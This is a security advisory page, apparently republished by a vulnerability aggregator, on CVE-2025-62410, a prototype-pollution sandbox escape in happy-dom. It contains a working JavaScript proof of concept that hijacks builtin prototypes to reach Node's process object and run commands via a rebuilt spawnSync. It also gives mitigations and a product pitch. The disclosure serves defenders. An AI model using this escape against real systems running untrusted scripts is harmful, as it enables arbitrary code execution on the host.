🛡️ CVE-2025-62410 — happy-dom
Description
happy-dom's --disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript
Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.
Details
The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).
PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().
```js
import { Browser } from "happy-dom";
const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});
page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(spawn_sync);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join( );typeof a.shell===string?c=a.shell:c=/bin/sh,b=[-c,g];}typeof a.argv0===string?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+=+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:pipe,readable:!0,writable:!1},{type:pipe,readable:!1,writable:!0},{type:pipe,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==buffer)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + spawnSync +d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";}
this.constructor.constructor.__proto__.__proto__.toString = f;
this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
// Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
</script>
<body>Hello world!</body></html>`;
await browser.close();
console.log(The process object is ${process});
console.log(process.hasOwnProperty('spawn'));
```
Impact
Arbitrary code execution via breaking out of the Node.js' vm isolation.
Recommended Immediate Actions
Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to [isolated-vm](https://github.com/laverdet/isolated-vm) is suggested instead.
Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2025-62410 is classified as CWE-1321: Prototype Pollution. Attacker input can modify an object prototype, changing behaviour for objects across the application.
Affected software
CVE-2025-62410 is recorded against 2 packages.
- happy-dom
- unknown
Timeline and source
Published on 15 October 2025 and last revised on 27 November 2025. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
Details
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| happy-dom | — | — |
| unknown | — | — |
References
Similar Threats
- Unknown CLSA-2026-1782781184
- High CVE-2026-34226
- High CVE-2026-33943
- Critical CVE-2025-61927
- Critical CVE-2024-51757
More CVE 2025 advisories
Browse all of CVE 2025 in the advisory index.
Exploit Protection
Are you running happy-dom?
CVE-2025-62410 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2025-62410 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.